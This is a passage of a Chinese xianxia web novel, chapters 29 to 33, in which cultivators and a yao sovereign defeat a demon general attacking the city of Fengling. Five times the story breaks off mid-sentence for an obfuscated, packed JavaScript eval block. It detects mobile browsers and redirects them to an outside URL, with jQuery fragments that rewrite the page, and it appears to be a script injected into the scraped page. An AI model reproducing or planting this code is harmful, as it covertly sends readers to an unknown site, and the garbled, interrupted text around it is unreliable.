无数的呼救声传至耳畔,城主焦急不已,喃喃道:“怎么会这样,这到底是怎么一回事?” 一道女声在心内响起,“是树出了事?” 灵光自脑海闪过,城主猛地偏头去看屹立在蓝天下的巨大红枫。 脸上神情不断变换,他脸色难看至极,字字切齿,“怪不得找不到,他们竟然躲在这儿。” 深吸口气,城主收紧权杖,正欲迈步,两道身影蓦地近前。 苏见清冷着脸,“这一切怎么回事?” 城主惊讶,“仙君?” 苏见清蹙眉,“你认得我?” 这倒是有意思了。 巫弃立在一侧打量着二人,合着他们俩还是相识? 城主肃容,“仙君疑虑我稍后解答,现下还请让一步,让我揪出躲在暗地里害我子民的鼠辈。” 苏见清锐利的目光落在城主身上,念及他身上熟悉的气息,沉吟让步。 城主暗暗松气,若是苏见清执意不让,定会有一场恶战,到时岂非给那些恶心的东西做了嫁衣? 他转向巫弃,“这位仙君……” 巫弃温和一笑,往旁退开,“城主请。” 城主对二人感激点头,大步走向红枫。 树冠遮天蔽日,枫叶火红如霞,璀璨华光自叶片流淌,美不胜收。 如此美景,却让城主心中怒火旺盛,权杖重重落地,红宝石上射出一道恐怖灵压,“给老子滚出来!” “轰——” 灵压射向枫树,枫叶唰唰而落,似万千只翩跹灵蝶。 枫叶落地的刹那化为数不清的血丝,血丝在空中编织成网,沉沉向城主压来。 他单手结印,红光似剑,撕碎血网。 数点红光撒下,枫树下忽然起了红雾,有道身影自雾中响起。 “难怪这树内无灵,原来是偷偷跑出去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867946|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结界闪现,雾中隐约可见两道人影,其中一人望着城主感慨,“踏破铁鞋无觅处,将近万年的树灵,有你在,定能助主上修为大涨。” 城主寒声质问:“你们这些魔修,究竟要在我枫泠城做什么?!” “当然是用你们的血肉,助我主上练得神器,踏破玄清疆域,一统修真界!” 红雾散去,露出两张相似面容。 苏见清惊讶,“瞿云?!” 不对,瞿云已经死了,这便是碎金楼主所说的瞿云的同胞? “你是伏渊剑修?是你杀了瞿云?” 瞿诏斜睨着苏见清,眼睛微眯,冷笑道:“很好,今日我就要你给老三偿命。” 他祭出一物。 望着那与瞿云手中一模一样的魔镜,苏见清暗道不好,持剑飞身而上,“不能让他开启那面魔镜。” 一道身影将苏见清拦下,瞿彦手持血魔斧,面目狰狞怒喝,“去死吧!” 苏见清无法,只得暂时与他周旋。 城主和巫弃齐齐出手,可瞿诏速度更快,不等攻势到来,魔镜已悬在半空,霎时间天边红云翻滚,整座城笼罩在红雾中。 血丝从镜中射出,所过之地,血肉不存,尸骨遍野。 “混蛋!给老子住手!” 城主恨得大骂,红宝石大亮,升起一道结界,罩住哭嚎的百姓。 “这、这是要屠城吗?” 曲江篱红着眼。 她自幼生活在安宁和睦的环境中,又被家人疼宠,从未见过这般残酷的场景。 擦擦眼泪,曲江篱鼓起勇气,义无反顾上前,“城主,我来帮你!” 她手中亮起水蓝色的灵力,水波纹结界罩住城主的红色结界,将百姓们护在其中。 蕴禾追随着曲江篱的身影,弹指在她身上放了道妖力,随后看向苏见清。 除了这小东西不想让她出事外,她最在意的还是苏见清。 巫弃已经与瞿诏交手。 他是雷灵根法修,动手时雷光闪烁,雷鸣阵阵,阵仗极大。 苏见清与那手持血魔斧的魔修对阵不落下风。 魔修只有两人,而城主尚未出手,局势瞧着像是倒向枫泠城这一方,只不过…… 目光落在闪着诡艳红光的枫树上,蕴禾眸色骤冷。 30. 第 30 章 红雾之中,苏见清剑气犹如连绵不绝的山川潮汐,随着剑气落下的数量增多,剑势越发凶猛。 最后一道剑气斩落,方才挥落的所有剑气瞬间凝聚,以摧枯拉朽之势袭向瞿彦。 清冷男音道:“穿云十八式,灭。” 剑气轰然爆发,成千上万把长虹将瞿彦的身体刺穿,他手中血魔斧脱手而出,身体重重倒下。 与此同时,正与巫弃对阵的瞿诏猛地吐血,修为从元婴后期攀升至了化神初期。 城主大惊,“那不是你兄弟,是你的分身!” “不错。” 瞿诏抹去嘴角血渍,阴恻恻的目光攫住苏见清,“一连灭我两个分身,你这剑修倒是有些本事。” 苏见清持剑落地,“我能灭你分身,自然也能灭你。” “口气倒是不小啊。” 瞿诏哈哈大笑,“那就要看你能不能活下来了。” 话音降落,他霍地朝巫弃掠去。 巫弃反应迅速,双手快如残影,一道又一道法印在背后出现,其内雷光不断。法印疾速朝瞿诏压去,雷声轰鸣,恐怖雷压似能撕碎一切肮脏污秽。 瞿诏掌心一吸,瞿彦的血魔斧朝他飞来,他劈头一斩,竟是硬生生对上了巫弃的雷。 巫弃倏地后退一步,眉峰压下,眸光渐暗。 “你是何人?玄清域什么时候接连出了这么多人物。” 瞿诏擦了擦血。 “我看你与这剑修并非一伙的,何必淌这趟浑水?不如我放你离开,我们互不干涉,如何?” “阿弃,别听他的!”曲江篱大喊:“他不会放过我们的!” 瞿诏眸色一厉,“找死!” 魔气似蛇朝曲江篱袭去,巫弃脸色大变,“江篱!” 他急急飞身去拦。 瞿诏自以为掌握了巫弃的弱点,正欲去抓曲江篱,后背一寒,冷锐剑气遽然袭来! 望着黑沉沉的魔气向自己掠来,曲江篱吱哇大喊,“啊啊啊阿弃!” 城主反手一挥,将魔气打散,诚心道谢,“仙子小心。” “啊咧?” 曲江篱茫然。 仙子?在说她吗? 这还是第一次有人叫她仙子诶! 曲江篱心花怒放,就连掌中灵气都亮了几分。 见她无事,巫弃松了口气,眸色冷沉回头,与苏见清一道围攻瞿诏。 二人同是元婴,一个是剑修,一个是法修,虽是第一次并肩作战,却也有几分默契,竟将化神期的瞿诏逼得险些丢盔卸甲。 城主见状大松了口气,心下稍安。 一道剑气穿肩而来,瞿诏正欲躲避,身后雷光已至,阻拦他的动作。 两道攻势齐落于身,他被冲撞地双膝跪地,口吐鲜血。 面前是神色冷漠,手持长虹的苏见清,背后是法印煌煌,面无表情的巫弃。 两人同时出手,准备取瞿诏性命。 就在此时,瞿诏眸色阴沉,狠狠斩出一斧。 那一斧中蕴含了他全部魔力,竟逼得苏见清与巫弃齐齐倒退。 拇指揩去唇上血渍,瞿诏单膝跪地,望着半空魔镜,语气恭敬而惶恐,“瞿诏办事不力,有负主上托付,请主上降罪。” 苏见清站稳,凝眉看向那散发着血丝的魔镜,对巫弃道:“巫道友,此物诡异,当心。” 巫弃颔首,同样将目光落在魔镜上。 红雾如波涛翻涌,缠绕在魔镜上的魔蛇竖瞳亮起,凶相毕露。 “没用的东西。” 冷冽阴沉的狂傲男声从四面八方而来,苏见清蓦地握紧剑柄。 “给本座滚回去!” 那男声低喝一声,瞿诏似被一股无形的力量击中,身形遽然朝魔镜飞去。 魔蛇竖瞳大亮,眸中似有了神采,蛇身不断收缩,竟是个活物。 城主大惊,“他、他是条蛇?” 无人回应他的话,苏见清与巫弃严阵以待,紧盯空中魔镜。 “啪嗒啪嗒”的脚步声轻轻响起,仿佛踩在鼓点上,每一步都引起心中震颤。 众人不约而同看向红枫。 红雾缭绕,眇眇忽忽现出一道高大身影。 他闲庭信步走出红雾,姿势悠闲得好似在逛后花园。 出乎意料的是,他脸上并无丑陋魔纹,反而生得格外俊逸,脸庞呈现出不正常的惨白,一双瞳眸泛着血一般的猩红。 黑发规规整整束在金冠中,衣着华丽,身上绣着八条缠绕巨蟒,神色各异,竖瞳却是一样的残酷凶恶。 曲江篱呆呆道:“阿弃说的没错,长得好看的,不一定都是好人。” 眼前这人,长了一张出色的脸,心却黑透了。 魔修视线过在场之人,在城主身上停顿一瞬,最后攫住苏见清。 尾音上扬,颇为意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874442|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你竟然没死。” 不等苏见清开口,他随意摆手,“无碍,今日死也是一样的。” 魔修轻轻随手,魔镜一震,霎那间射出密密麻麻,宛如红浪一般的红光。 红光侵蚀城主与曲江篱的结界,肆无忌惮收割百姓们的血肉。 “啊!!!” “城主!城主救命啊!” 惨叫声连成一片,比巫弃身上雷鸣更为震彻人心。 苏见清回头,好几张眼熟的面容在他面前消失。 有今日抱着小白与他道谢的年轻人,有撞了他和阿蕴姑娘的幼童,有百香楼内的跑堂…… 他闭了闭眼,睁眼的刹那,眸中盛满寒冰,一言不发直冲魔修而去。 城主眼中含泪,惊惧大叫,“住手!混蛋,你给老子住手!你不就是想要我吗?老子跟你走,你放过他们!” 他叫喊着,手中不停升起结界,想要护住这群无辜的百姓。 曲江篱湿了眼眶,双手快成残影,水蓝色灵力不断从她身上升起,洒落在百姓们身上,试图为他们驱散红光。 不知她使的什么法术,竟当真减缓了红光吞噬的速度。 城主大喜,眼底溢出希望。 正被苏见清和巫弃缠住的魔修眸光一厉,望着曲江篱的眸光若有所思。 须臾,他目光一亮,笑道:“没想到还有意外收获。” 巫弃神色冰冷,结印的速度愈发快了。 被他与苏见清缠得紧,魔修渐渐不耐,掌中化出一杆银枪,对准曲江篱投掷而出! 巫弃目眦欲裂,“江篱!” “什么?” 曲江篱回神,只见银枪如流星,疾速朝自己飞来,一时惊得瞪大眼。 慌乱之中,她下意识躲闪,可那银枪仿佛认准了她,竟朝着她改变方向。 曲江篱吓得大叫,“阿弃!爷爷!叔叔伯伯们救命啊!” 就在枪尖即将刺穿她单薄的身躯时,曲江篱身前蓦地亮起粉色护盾,与此同时,枪身上缠绕一条藤蔓,用力将之勒紧。 劫后余生的曲江篱吓得脚软,险些跌倒在地,惊惶又惊喜地看着护盾的主人,“多、多谢这位姐姐。” 蕴禾看了她一眼。这小东西身上宝贝多着呢,再者有她一道妖力相助,怎么也不会出事。 倒是另一位…… 注视着藤蔓的那一头,蕴禾眉头轻挑。 加春? 31. 第 31 章 身着红衣的姑娘堪称绝色,满头青丝用牡丹玉簪绾起,神色不复碎金楼时的娇媚,反倒是面如冷霜。 城主大喜,“加春,你终于出来了!” 加春冷冷睨他,收回藤蔓,旋身朝魔修飞去。 她周身灵气翻涌,所过之处花瓣翩飞,在红雾中化为数把刀刃,齐齐涌向魔修. 魔修收回银枪,枪尖与刀刃相撞,“铿锵”金戈之声不断,听得人起一身疙瘩。 收势后,魔修凝视加春,饶有兴致道:“化神修为的五蕴牡丹,没想到这小小枫泠城内,竟有这么多了不得的人物。” 加春冷着脸,掌心化出一条藤蔓,狠狠朝魔修一甩。 对上苏见清和巫弃二人的目光,她红唇微启,“一起上,杀了此魔。” 三人目光对视,齐齐出招。 一时间剑光、法印、藤蔓与魔气交缠,寒冰、紫色雷光与红色花瓣不时在红雾中闪现,场面格外壮观。 城主见状松了口气,加大灵气护住百姓,劫后余生的曲江篱拍拍屁股站起,忙到他身边帮忙。 城主看她,“没事吧?” 曲江篱摇头,“没事。城主,那位姐姐是何人?她看着好厉害啊。” 城主脸上恢复笑意,“她是很厉害,有她在,咱们肯定……” 话音未落,一道红影蓦地撞在结界上,加春摔落在地,脸色苍白,面无表情抹去唇上血渍。 城主大惊,“加春!” 曲江篱正要看过去,余光里有道熟悉的身影朝她飞来,一回头便与她撞在一处,手中法诀溃散,两人齐齐摔倒。 “阿弃!” 她慌乱把人抱住,无措拭去他脸上鲜血,“你怎么样?” 巫弃反握住曲江篱的手,咳出淤血,笑着安慰,“没事。” 四人往回看,此刻唯有苏见清仍在坚持。 魔修猖狂大笑,“化神期的花灵又如何,在本座眼里不过一只随时可以拿捏的蚂蚁。” 城主半抱起加春,让她靠在自己肩上,“怎、怎么,你打不过?” 加春冷冷掀唇,“他不受我幻术控制。” 城主闻言脸色顿时灰败。 加春修为虽高,但实战能力比不上同境界的剑修法修之类,唯有一手幻术出神入化。以此为依仗,打败不少同境界的修士。可现在,她的幻术也不起作用了。 难道今日,他枫泠城当真就要亡于此魔手中? 枫泠城偏远,他又不想受人掣肘依附仙门,如今大难临头,除了他和加春,竟然只有几名外乡人相助。 若是早知有今日,他一定不再懒散,认真督促修士们修炼。 可是如今,早已没了后悔的余地。 城主望着惨叫的百姓们,眼中泪光闪烁。 形势大转,魔修不免得意,阴鸷眸光射向苏见清,“滚开!” 苏见清不退,万千雪花融入红雾之中,散发着令人胆寒的冰煞之气。 他眸色坚定,持剑攻上。 见他如此不识时务,魔修气笑了,手持银枪与他斗法。 曲江篱紧张握手,目光一动不动,“苏公子,加油啊。” 二人的身影不时在红雾中涌现,雪亮剑光斩破红雾,似日出时跃出天边的一抹熹光。 “轰——” 红雾震荡,灵气与魔气碰撞,血红枫叶飒飒而落,万千灵光飘散于空中。 一道身影飞出红雾。 城主瞪大眼,“仙君!” 苏见清白衣染血,拄着长虹勉强稳住身形,方一抬头,只见枪尖直冲面门而来。 “仙君!” “苏公子!” 城主与曲江篱慌乱担忧的尖叫声响起,苏见清却已无力回应。他面无表情握紧剑柄,正欲反击,一只素白的手凭空出现,稳稳当当握住银枪,疏懒冷漠的女声落下,“这人是我的,你敢动他试试。” 苏见清蓦地抬头,只见一身绿裙的蕴禾站在身前,随意将魔修的银枪握在手里,裙裾飞扬,墨发狂舞,仅仅一个背影,便能想象她此刻的神情有多么不可一世。 魔修眯眼打量着她,面上不动声色,心里去暗暗吃惊。他这一枪的威力,足以贯穿那名剑修的元婴,这个女子凭空将他的枪接住,竟然毫发无损。 他手掌张阖,欲召回自己的武器,下一瞬却面露震惊。 怎么会? 居然唤不回来? 魔修心潮翻涌,“你是谁?” “妖君!” 妖? 巫弃握住曲江篱的手一紧,不由望向蕴禾。 她竟是妖? 紧皱的眉心微松,巫弃和曲江篱对视,轻声道:“你看出她是妖了?” 曲江篱却是一脸恍然大悟,“原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881161|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来阿蕴姐姐是妖。怪不得……” 剩下的话被她咽回去。 城主一脸欣喜地注视着蕴禾,“妖君,此魔凶残嗜杀,在我枫泠城兴风作浪,恳求妖君诛杀此魔。” 蕴禾淡淡瞥他一眼,略一抬手,一道妖力将苏见清扶起,“我为何要帮你?” 城主笑容一顿,“这、这魔手染鲜血,杀人无数,城中百姓多丧命他手……” “这和我有什么关系?” 蕴禾不耐将他打断。 城主的笑容彻底僵住。 苏见清被托举站起,轻声问:“阿蕴姑娘不愿相助,又为何要救我?” 蕴禾两眉微蹙,理所应当道:“你是你,他们是他们。你的命是我的,这些人的生死与我何干?” 苏见清抿唇,“我的命是我的,并非姑娘的。” “我既救了你,那你的命就是我的。” 蕴禾蛮不讲理。 “阿蕴姑娘。” 苏见清深深吸气,“我很感激你救我一命,可我的命由我自己做主。姑娘修为高深,此地不宜久留,还是尽快离开吧。” 语罢,他从芥子囊中取出丹药吃下恢复灵力,握紧长虹,眸色坚毅。 蕴禾很久没被人这么驳面子了,不禁大怒,“你伤势未愈,现在冲上去只是送死!” 苏见清语气平淡,“伏渊门规,遇魔杀之。能为护卫枫泠而死,是我的荣幸。” 蕴禾气疯了,“苏见清!” “本来还想看在妖君的面子上饶他一命,既然他如此不识相,妖君何必执着?”目光在蕴禾与苏见清身上流连,魔修笑道:“本座看,不如把他杀了。妖君若是喜欢这副皮囊,本座愿为妖君将之炼为傀儡。” “闭嘴!” 蕴禾大喝,反手掷出银枪。妖力裹挟着银枪直冲魔修面门! 魔修正欲抵抗,神色忽地震惊,竟被那惊天枪势逼得连连后退。 枪尖擦过,在肩头留下一道血痕。 稳住身形,魔修脸上罕见露出惊骇,“你究竟是何人?” 蕴禾烦得很,眉眼堆砌冷霜,声线冷漠,“甘巍,在我面前,你也敢自称本座?简直狂妄。” 甘巍? 余下五人齐齐抬眼。 魔域魔尊座下四大魔将之一,最喜杀人嗜血,化神期大圆满,离大乘期仅一步之遥的甘巍?! 32. 第 32 章 甘巍不意外被戳穿身份,只他在魔域横行多年,鲜少有人敢如此不给他面子,内心极为不满,哪怕忌惮这女子的实力,终是忍不住道:“既知本座身份,狂妄的不该是妖君?” 蕴禾下颌微抬,面无表情看他一眼,神色极为不屑,“哪怕是魔尊亲临,我亦是如此,你算什么东西?” 甘巍脸色难看得紧,因强行忍住怒气而显得扭曲。 蕴禾懒得再看他,拉住苏见清手腕,“跟我走。” “阿蕴姑娘。” 苏见清掌心贴上蕴禾手背,轻柔将她的手拂开,语气轻柔而坚定,“我不会走的。” 接二连三被拒绝,蕴禾恼羞成怒,冷笑三声退开,气得音调不稳,“行行行,你要送死那就去吧。” 本皇不管了! 她召出青羽,轻盈跃上去,冷冷瞧着苏见清,似要看他怎么去送死。 这作壁上观的态度令甘巍松了口气,神色一瞬阴鸷,收回银枪,猛地朝苏见清急攻而去。 “轰隆——” 一道紫雷凭空劈开,却是巫弃双手结印,三道法印罩在甘巍上空,阻拦他的身影。 巫弃回头对曲江篱道:“照顾好自己。” 曲江篱连连点头,“我会的。阿弃,你要小心。” “好。” 不经意瞄了眼蕴禾,巫弃飞身上前。 城主见说不动蕴禾,长长一叹。妖君终归与枫泠城毫无干系,她能出手救下苏仙君已是意外之喜,怎么还能强求她救一座城呢? “加春,去吧。” 咬咬牙,他掰下权杖上的红宝石塞到加春手里,“这个给你。” 加春意外,“这东西可是你的宝贝,你舍得给我?” 城主苦笑,“枫泠城都要守不住了,还留着作甚?你拿去好歹还能再撑一阵。” “行。” 加春掌心收紧,目光冷冽,“今天咱们就和他拼了。” 数根藤蔓从身后射出,加春身形如电,急掠而上。 城主担忧地看着她,身后百姓们的哀嚎声绝望凄惨,他深吸一口气,目光沉痛转身,再度升起结界与红光对抗。 曲江篱亦是如此。 蕴禾坐于青羽上,漠然看着苏见清。 见巫弃与加春袭向甘巍,他单手施诀,剑光斩破靡艳红雾,湛蓝天幕一闪而过。 那一剑落在甘巍肩头,被蕴禾刺伤的位置伤痕加深,森森白骨依稀可见。 魔头闷哼,气息顿了一瞬。 加春露出喜色,“他受伤了,我们一起!” 檀口微张,一把将城主赠与她的红宝石塞进嘴里。 眸内红光大盛,加春灵力暴涨,密密麻麻藤蔓从她背后升起,根根坚韧如剑。 巫弃结出繁复手印,整整五道法印将甘巍包围。 苏见清脸色苍白,忍着灵脉崩裂的痛,将全部灵力注入长虹。 “轰——” 大地震颤,无数房屋倒塌,碎屑飘浮在半空,遮挡住视线。 “咳咳。” 曲江篱手掌在身前胡乱扇了两下,目光紧盯甘巍所在地,无比期待问:“他死了吗?” 城主躲过向他砸来的房梁,回道:“这么猛烈的攻击,哪怕他是化神,也极难逃脱。” “天真。” 姑娘清越的嗓音里满是嘲讽,她冷笑一声,抬手一挥,一阵风吹走空中粉尘。 视线遮挡物散去,佝偻身影渐渐清晰。 甘巍半弯着身子咳出血,他直起身,俊美苍白的脸上染着血,神色越发阴鸷可怖。 “一群蝼蚁,竟能逼迫本座至此。” 手背轻轻抹去唇角血渍,甘巍冷冷勾唇,称赞道:“极好。” 他猛地伸手。 魔镜朝他飞来,一道红光将甘巍罩住。他双臂大张,任由红光裹遍全身,舒适地动着脖子,全身发出清脆的“咔嚓”声。 红光将血气注入甘巍体内,他身上伤势逐渐恢复,眨眼之间,状态已回至巅峰。 “害得本座损失了这么多血气,那就用你来赔吧。” 甘巍抬眼,眸底升起妖异红光,手持银枪,身影如流星朝一人冲去! “小心!” “傻子,快躲开!” “苏公子!” 城主怔然望着挡在他面前的苏见清。 剑修浑身灵气散去,披着白红交加的长袍,右手无力握住佩剑,俨然已是强弩之末。 甘巍转眼已至,寒芒直射苏见清心脏。 城主眼睛发酸,喃喃道:“苏公子。” 他虚握手掌,转头瞧了眼身后手无缚鸡之力的百姓们。红光被甘巍收回后,他们有的跌坐在地,有的抱着已成枯骨的亲朋嚎啕大哭,有的满脸惊惧恐慌,三五成群围在一处,任由白骨散落。 仙君心善,应当能好好安顿他们吧? 城主狠狠闭眼,再睁开时满是坚毅。他运气,手心升起一团红光。 那红光干净纯粹,隐有圣洁之气,城主缓缓推出一掌。 下一瞬,一抹绿光急掠而来,与甘巍的银枪相撞,巨大的冲击力将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881162|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人掀飞出去,红枫树枝叶震颤不已。 城主和曲江篱勉强将百姓们护好,惶然回头。 光波中心处,甘巍手持银枪,脸上脖颈处青筋暴露,脸颊肉抖动不已。 与他对峙的,竟是一根竹竿。说是竹竿也不准确,倒像是刚刚砍下来的一根青竹。翠绿笔直,竹节分明,足有一人高。顶端缀着几片绿叶,苍翠得似能滴出水来。细看,其内通透,光华流转,并非凡物。 青竹用力一震,甘巍不敌,及时收手,才未造成损伤。 绿色身影一步步走来,裙摆飘荡,婀娜多姿。姑娘生得明媚妍丽,杏眼澄澈无垢,分明是一双无害纯真的眼睛,却因神情隐怒,气势张狂,硬生生显出几分凶意。 她在苏见清面前停驻,声线冰冷质问:“你还真是不怕死啊。” 苏见清轻抿苍白唇瓣,面如金纸,“阿蕴姑娘,能为苍生而死,是我之幸。” 蕴禾冷嘲,“这座城最多三万人,还算不上苍生。” 苏见清噎住。 甘巍沉着脸问:“妖君要插手?” 蕴禾徐徐转身,不耐反问:“与你何干?” 她胸口堵着一口气,不上不下的闹得她心烦,甘巍撞上来正好让她把气出了。 青竹自动飞到蕴禾手中,她握着竹竿,当头朝甘巍劈下! 这一棍含着斩天裂地之势,刹那间天地摇晃,地面裂出缝隙,房屋“轰隆”倒塌,整座枫泠城内唯有那棵红枫树屹立不倒。 苏见清急忙回头,“护住百姓!” “哦、哦哦。” 城主愣愣回神,急忙划出结界。 他偏头望了眼战场,倒吸一口凉气。 这位妖君究竟是何身份,仅仅一棍便能弄出这等场面。 甘巍口吐鲜血,咬牙抵抗。 蕴禾招式越发凶猛,她不管不顾地劈出棍风,空中妖气噼里啪啦爆开,彻底将红雾驱散。湛蓝天幕得以面世。 不过几棍,甘巍便已无法抵抗,握住银枪的手上可见白骨。 他咬紧牙关,祭出魔镜。诡异红光自镜中钻出,朝蕴禾压下。 她冷笑牵唇,似在嘲讽甘巍的不自量力。 妖气暴涨,蕴禾拎着竹子劈向魔镜。 “轰——” 那一棍劈在魔镜上,地面凭空裂开巨缝,“咔嚓”的裂开声在地面震动中微不可闻,却又响如雷鸣。 甘巍不可置信大喊:“不——” 蕴禾猛一用力。 “咔嚓。” 魔镜裂了。 33. 第 33 章 “噗——” 甘巍被反噬,一连吐出好几口血,弯着身子单膝跪地。 被蕴禾劈裂的魔镜七零八碎从空中坠下。 甘巍心痛愤恨抬头,质问道:“你究竟是何人?!” 毁了他的计划,他的宝物,若是不弄清此人的身份,哪怕是死,他也不甘心。 冷冽漠然的目光落在甘巍身上,蕴禾没善心解答他的疑惑,竹竿一旋,被她猛地掷出! “噗嗤。” 甘巍双膝跪地,手中银枪掉落,无力垂头望着胸膛。 一根竹竿穿心而过,鲜血下淌,却不曾在它身上留下丝毫痕迹,依旧翠绿如玉,光华湛湛。 甘巍嘴唇嚅动,无声道:“一点翠色战群雄,东隅幽皇号万妖。” 原来是她。 难怪,难怪。 他输得不冤。 地面停止开裂,风吹起粉尘,无声落在甘巍头顶。 一缕墨发随风而飘,渐渐的不动了。 曲江篱拉住巫弃的袖子,“他、他死了?” 巫弃点头,“嗯,死了。” 堂堂魔域大将,竟这么简单就死了。 他看向蕴禾,目光复杂。 城主亦是不可置信,结巴道:“加、加春,你看到了吗?他、他死了,我们活下来了。” 加春舒了口气,全身肌肉松弛下来,随口应道:“嗯,你不用死了。” 劫后余生的心悸和兴奋终于漫上心头,城主热泪盈眶地抱住加春,欣喜若狂道:“活了!我们活了!枫泠城保住了!” “真的吗?城主说,我们不用死了?” “死了!死了!魔头死了!” “娘,你看到了吗?害死你的魔头死了!” “爹,祖母,我活下来了!” 百姓们狂喜相拥,喜极而涕,一时间天地皆是他们的欢呼哭泣声。 苏见清抬眸。 姑娘立足于天幕之下,废墟之中。一袭绿衣似鲜活摇曳的草叶,墨发如瀑,背影纤细却不瘦弱。 她缓伸手,刺穿魔修的竹竿飞入手中,灵光闪烁,被她收回。 姑娘缓慢转身,眉眼冰冷睥睨,如天地主宰,霸气张狂。 她徐徐走来,苏见清正欲张口,却见蕴禾对他不屑冷哼,足尖一点,如翩跹蝴蝶跃上青羽,懒懒坐下。 苏见清低头,无奈勾唇。 这一笑牵扯了伤口,他脸色一变,捂住胸口咯血,疼得弯不起腰。 “喂!” 焦急女声靠近,模糊视线里,蕴禾双手握住苏见清肩膀,面色含惊,“你别死啊,撑住。” 苏见清两片唇瓣嚅动,他想告诉她,不必忧心,他不会死的。 可一张口,源源不断的鲜血从唇角涌出,他语不成调,眼前的姑娘成了重影。 剑修的身影蓦地倒下。 “苏见清!” “仙君!” “苏公子!” 几人齐齐朝苏见清奔去。 谁也没发现,掉进缝隙里的魔镜碎片钻出一条漆黑小蛇,卷起碎片逃窜游走,不知去向。 …… 苏见清睁眼时看见一片红。 满天繁星下,红枫枝叶舒展,随风摇摆。无数红色光蕴萦绕其侧,璀璨梦幻。 他看了许久,久未眨眼。 “苏仙君,你醒了!” 还是城主发现他睁眼,蓦地惊喜叫唤。 苏见清侧首。 这一动,全身的骨头仿佛被斧头砍断重生,疼得他脸色一变,面无血色。 城主连忙道:“别动别动,你还伤着呢。” 坐在苏见清身旁,城主道谢,“苏仙君,这次多谢你们了,若不是有你们在,我这枫泠城想必是没了。你是咱们枫泠城的大恩人,这段日子你尽管躺着养伤,有什么需求,我一定满足!” 苏见清:“我的伤……” 城主叹气,“你本就伤势未愈,这次又强行运转功力伤了灵脉,若非妖君喂你吃了灵药,别说是修为,你这条命能保住都算不错了。” 苏见清张唇,“阿蕴姑娘她……” 城主往外指了指,“在外面呢,你昏迷这三天,她谁都不搭理,一脸生人勿进,凶得很。” 枫泠城算是毁了,这三日城主和加春带着百姓们紧赶慢赶重新建城,但工程量大,如今不过是勉强建了几座屋舍供百姓们居住。 就连苏见清此刻住的,也是一座敞开的棚子。 城主还想和苏见清说话,蓦地有女声远远传来,“碎金城主,苏公子醒了吗?” 城主连声道:“醒了醒了。” 苏见清怔住,“碎金?” “诶。” 碎金下意识答应,转头对上苏见清震惊的脸色,挠着后脑勺嘿嘿一笑,“公子没认出来吧?” 苏见清摇头,仍是不可置信,“你当真是碎金?” “是啊。” 苏见清认真将面前尊贵俊朗的城主与碎金楼主比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884595|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较,的确发现了两人的相似之处。 “你既是城主,为何要开一座……”他顿了顿,从舌尖弹出的那两个字极轻,“花楼?” “嗐,我起初也没想开的。” 碎金娓娓解释,“我的本体仙君应该也知,便是城中那棵红枫。本体虽已存世将近万年,但我化形却不过千年。我有一株伴生灵花五蕴牡丹,哦,就是加春。我二人同时化形,不愿远离故乡,便在本体周围住下,有人遇难时随手相帮,慢慢的人越来越多,此地便成了枫泠城。” “修行之路枯燥无趣,我迷上了赚取银钱,而加春……” 咳嗽两声,碎金略带赧然,“她喜好美色,沉迷与人合欢,我便开了无忧阁与碎金楼。” 苏见清又问:“那楼内的姑娘从何而来?” “全是加春花叶所化。”碎金越发羞窘,“我那一阁一楼,全靠加春一人撑起。” 